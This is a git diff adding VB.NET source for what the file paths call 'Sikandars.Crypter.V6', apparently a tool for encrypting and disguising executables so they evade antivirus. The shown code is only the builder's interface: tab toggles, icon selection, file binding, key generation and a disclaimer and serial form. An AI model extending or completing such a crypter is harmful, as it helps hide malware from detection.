CheckBox72_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox72.CheckedChanged + If CheckBox72.Checked = True Then + + TabControl1.TabPages(2).Enabled = True + + Else + + TabControl1.TabPages(2).Enabled = False + + End If + End Sub + + Private Sub CheckBox75_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox75.CheckedChanged + If CheckBox75.Checked = True Then + + TabControl1.TabPages(5).Enabled = True + + Else + + TabControl1.TabPages(5).Enabled = False + + CheckBox50.Checked = False + + CheckBox51.Checked = False + + CheckBox52.Checked = False + + CheckBox53.Checked = False + + CheckBox54.Checked = False + + CheckBox55.Checked = False + + CheckBox56.Checked = False + + CheckBox57.Checked = False + + CheckBox58.Checked = False + + CheckBox60.Checked = False + + CheckBox61.Checked = False + + End If + End Sub + + Private Sub CheckBox73_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox73.CheckedChanged + If CheckBox73.Checked = True Then + + TabControl1.TabPages(3).Enabled = True + + Else + + TabControl1.TabPages(3).Enabled = False + + CheckBox28.Checked = False + + CheckBox30.Checked = False + + CheckBox68.Checked = False + + NumericUpDown5.Value = 0 + + RadioButton11.Checked = False + + RadioButton12.Checked = False + + RadioButton13.Checked = False + + RadioButton15.Checked = False + + RadioButton16.Checked = False + + End If + End Sub + + Private Sub CheckBox74_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox74.CheckedChanged + If CheckBox74.Checked = True Then + + TabControl1.TabPages(4).Enabled = True + + CheckBox33.Checked = True + + CheckBox34.Checked = True + + CheckBox35.Checked = True + + CheckBox36.Checked = True + + CheckBox37.Checked = True + + CheckBox38.Checked = True + + CheckBox39.Checked = True + + CheckBox40.Checked = True + + CheckBox41.Checked = True + + CheckBox42.Checked = True + + CheckBox43.Checked = True + + CheckBox44.Checked = True + + CheckBox45.Checked = True + + CheckBox46.Checked = True + + CheckBox47.Checked = True + + CheckBox48.Checked = True + + CheckBox70.Checked = True + + + Else + + TabControl1.TabPages(4).Enabled = False + + CheckBox33.Checked = False + + CheckBox34.Checked = False + + CheckBox35.Checked = False + + CheckBox36.Checked = False + + CheckBox37.Checked = False + + CheckBox38.Checked = False + + CheckBox39.Checked = False + + CheckBox40.Checked = False + + CheckBox41.Checked = False + + CheckBox42.Checked = False + + CheckBox43.Checked = False + + CheckBox44.Checked = False + + CheckBox45.Checked = False + + CheckBox46.Checked = False + + CheckBox47.Checked = False + + CheckBox48.Checked = False + + CheckBox70.Checked = False + + End If + End Sub + + Private Sub CheckBox76_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox76.CheckedChanged + If CheckBox76.Checked = True Then + + TabControl1.TabPages(6).Enabled = True + + Else + + TabControl1.TabPages(6).Enabled = False + + End If + End Sub + + Private Sub RadioButton15_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton15.CheckedChanged + If RadioButton15.Checked = True Then + NumericUpDown6.Enabled = True + Else + NumericUpDown6.Enabled = False + End If + End Sub + + Private Sub RadioButton16_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton16.CheckedChanged + If RadioButton16.Checked = True Then + NumericUpDown7.Enabled = True + Else + NumericUpDown7.Enabled = False + End If + End Sub + + Private Sub CheckBox49_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox49.CheckedChanged + If CheckBox49.Checked = True Then + CheckBox33.Checked = True + CheckBox34.Checked = True + CheckBox35.Checked = True + CheckBox36.Checked = True + CheckBox37.Checked = True + CheckBox38.Checked = True + CheckBox39.Checked = True + CheckBox40.Checked = True + CheckBox41.Checked = True + CheckBox42.Checked = True + CheckBox43.Checked = True + CheckBox44.Checked = True + CheckBox45.Checked = True + CheckBox46.Checked = True + CheckBox47.Checked = True + CheckBox48.Checked = True + CheckBox70.Checked = True + Else + CheckBox33.Checked = False + CheckBox34.Checked = False + CheckBox35.Checked = False + CheckBox36.Checked = False + CheckBox37.Checked = False + CheckBox38.Checked = False + CheckBox39.Checked = False + CheckBox40.Checked = False + CheckBox41.Checked = False + CheckBox42.Checked = False + CheckBox43.Checked = False + CheckBox44.Checked = False + CheckBox45.Checked = False + CheckBox46.Checked = False + CheckBox47.Checked = False + CheckBox48.Checked = False + CheckBox70.Checked = False + End If + End Sub + Dim ooo As New OpenFileDialog + Private Sub MButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton2.Click + ooo.DefaultExt = "ico" + + ooo.Filter = "Icon Files (*.ico*)|*.ico*" + + ooo.FilterIndex = 1 + + ooo.FileName = "" + + If ooo.ShowDialog(Me) = 1 Then + + TextBox2.Text = ooo.FileName + + Try + + PictureBox2.Image = ReturnIcon(TextBox2.Text, 0).ToBitmap() + + Catch + + End Try + + End If + End Sub + Declare Function ExtractIcon Lib "shell32.dll" Alias "ExtractIconExA" (ByVal lpszFile As _ + String, ByVal nIconIndex As Integer, ByRef phiconLarge As Integer, ByRef phiconSmall As _ + Integer, ByVal nIcons As Integer) As Integer + Private Function ReturnIcon(ByVal Path As String, ByVal Index As Integer, Optional ByVal small As Boolean = False) As Icon + + Dim BI, SI As Integer + + ExtractIcon(Path, Index, BI, SI, 1) + + If BI = 0 Then + + ExtractIcon(Path, 0, BI, SI, 1) + + End If + + If BI <> 0 Then + + If small = False Then + + Return Icon.FromHandle(BI) + + Else + + Return Icon.FromHandle(SI) + + End If + + Else + + Return Nothing + + End If + + End Function + + Private Sub MButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton3.Click + Dim ofd As New OpenFileDialog + + If ListView1.Items.Count = 1 Then + + MessageBox.Show("You cannot add more files because the author hasn't figured out how to work around the double size bug for the output.", "Attention", MessageBoxButtons.OK, MessageBoxIcon.Exclamation) + + Exit Sub + + End If + + ofd.Filter = "All Files (*.*)|*.*" + + ofd.InitialDirectory = My.Computer.FileSystem.SpecialDirectories.Desktop + + If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then + + For i = 0 To ListView1.Items.Count - 1 + + If ListView1.Items.Item(i).Tag = ofd.FileName Then + + Exit Sub + + End If + + Next + + ImageList1.Images.Add(Path.GetFileName(ofd.FileName), Icon.ExtractAssociatedIcon(ofd.FileName)) + + With ListView1.Items.Add(Path.GetFileName(ofd.FileName)) + + .SubItems.Add(Path.GetExtension(ofd.FileName)) + + Dim size As Long = My.Computer.FileSystem.GetFileInfo(ofd.FileName).Length + + Dim sized As String + + If size > 1024 Then + + size = size / 1024 + + sized = size.ToString + " KB" + + If size > 1024 Then + + size = size / 1024 + + sized = size.ToString + " MB" + + If size > 1024 Then + + size = size / 1024 + + sized = size.ToString + " GB" + + End If + + End If + + Else + + sized = size.ToString + " Bytes" + + End If + + .SubItems.Add(sized) + + .ImageIndex = ImageList1.Images.Count - 1 + + .Tag = ofd.FileName + + End With + + End If + + End Sub + + Private Sub MButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton4.Click + Dim item As ListViewItem + + For Each item In ListView1.SelectedItems + + ListView1.Items.Remove(item) + + Next + End Sub + + Private Sub MButton9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton9.Click + Dim xx As String + xx = Guid.NewGuid.ToString & Guid.NewGuid.ToString & Guid.NewGuid.ToString + Label16.Text = Encryption_Algorithms.PolyCrypt(xx) + End Sub + + +End Class diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Form2.Designer.vb b/scode (Sikandars.Crypter.V6.VB.NET/Form2.Designer.vb new file mode 100644 index 0000000..f18a9e3 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Form2.Designer.vb @@ -0,0 +1,176 @@ + _ +Partial Class Form2 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2)) + Me.PictureBox1 = New System.Windows.Forms.PictureBox + Me.Label1 = New System.Windows.Forms.Label + Me.Label2 = New System.Windows.Forms.Label + Me.MButton2 = New SCV6._0.MButton + Me.MButton1 = New SCV6._0.MButton + Me.TextBox1 = New System.Windows.Forms.TextBox + Me.Label3 = New System.Windows.Forms.Label + Me.Label4 = New System.Windows.Forms.Label + Me.Label5 = New System.Windows.Forms.Label + Me.MButton3 = New SCV6._0.MButton + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'PictureBox1 + ' + Me.PictureBox1.BackgroundImage = CType(resources.GetObject("PictureBox1.BackgroundImage"), System.Drawing.Image) + Me.PictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.PictureBox1.Location = New System.Drawing.Point(26, 12) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(235, 49) + Me.PictureBox1.TabIndex = 0 + Me.PictureBox1.TabStop = False + ' + 'Label1 + ' + Me.Label1.Font = New System.Drawing.Font("Calibri", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label1.ForeColor = System.Drawing.Color.Yellow + Me.Label1.Location = New System.Drawing.Point(12, 77) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(285, 161) + Me.Label1.TabIndex = 1 + Me.Label1.Text = resources.GetString("Label1.Text") + ' + 'Label2 + ' + Me.Label2.Font = New System.Drawing.Font("Calibri", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label2.ForeColor = System.Drawing.Color.Yellow + Me.Label2.Location = New System.Drawing.Point(12, 238) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(285, 90) + Me.Label2.TabIndex = 2 + Me.Label2.Text = resources.GetString("Label2.Text") + ' + 'MButton2 + ' + Me.MButton2.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton2.ForeColor = System.Drawing.Color.Yellow + Me.MButton2.Location = New System.Drawing.Point(15, 360) + Me.MButton2.Name = "MButton2" + Me.MButton2.Size = New System.Drawing.Size(128, 23) + Me.MButton2.TabIndex = 4 + Me.MButton2.Text = "EXIT" + ' + 'MButton1 + ' + Me.MButton1.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton1.ForeColor = System.Drawing.Color.Yellow + Me.MButton1.Location = New System.Drawing.Point(15, 331) + Me.MButton1.Name = "MButton1" + Me.MButton1.Size = New System.Drawing.Size(128, 23) + Me.MButton1.TabIndex = 3 + Me.MButton1.Text = "I AGREE" + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(149, 333) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(148, 21) + Me.TextBox1.TabIndex = 5 + Me.TextBox1.Text = "XXXX-XXXX-XXXX-XXXX" + Me.TextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.Location = New System.Drawing.Point(187, 360) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(74, 26) + Me.Label3.TabIndex = 6 + Me.Label3.Text = "Serial Number" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "For the Week" + Me.Label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.Location = New System.Drawing.Point(144, 399) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(107, 13) + Me.Label4.TabIndex = 7 + Me.Label4.Text = "Latest Ver. Available: " + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.Location = New System.Drawing.Point(257, 399) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(40, 13) + Me.Label5.TabIndex = 8 + Me.Label5.Text = "6.0.0.0" + ' + 'MButton3 + ' + Me.MButton3.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton3.ForeColor = System.Drawing.Color.Yellow + Me.MButton3.Location = New System.Drawing.Point(15, 389) + Me.MButton3.Name = "MButton3" + Me.MButton3.Size = New System.Drawing.Size(128, 23) + Me.MButton3.TabIndex = 9 + Me.MButton3.Text = "UPDATE" + ' + 'Form2 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackColor = System.Drawing.Color.Black + Me.ClientSize = New System.Drawing.Size(309, 426) + Me.Controls.Add(Me.MButton3) + Me.Controls.Add(Me.Label5) + Me.Controls.Add(Me.Label4) + Me.Controls.Add(Me.Label3) + Me.Controls.Add(Me.TextBox1) + Me.Controls.Add(Me.MButton2) + Me.Controls.Add(Me.MButton1) + Me.Controls.Add(Me.Label2) + Me.Controls.Add(Me.Label1) + Me.Controls.Add(Me.PictureBox1) + Me.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.ForeColor = System.Drawing.Color.Yellow + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "Form2" + Me.Opacity = 0.9 + Me.ShowIcon = False + Me.ShowInTaskbar = False + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Disclaimer" + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents MButton1 As SCV6._0.MButton + Friend WithEvents MButton2 As SCV6._0.MButton + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents MButton3 As SCV6._0.MButton +End Class diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Form2.resx b/scode (Sikandars.Crypter.V6.VB.NET/Form2.resx new file mode 100644 index 0000000..623572f --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Form2.resx @@ -0,0 +1,249 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 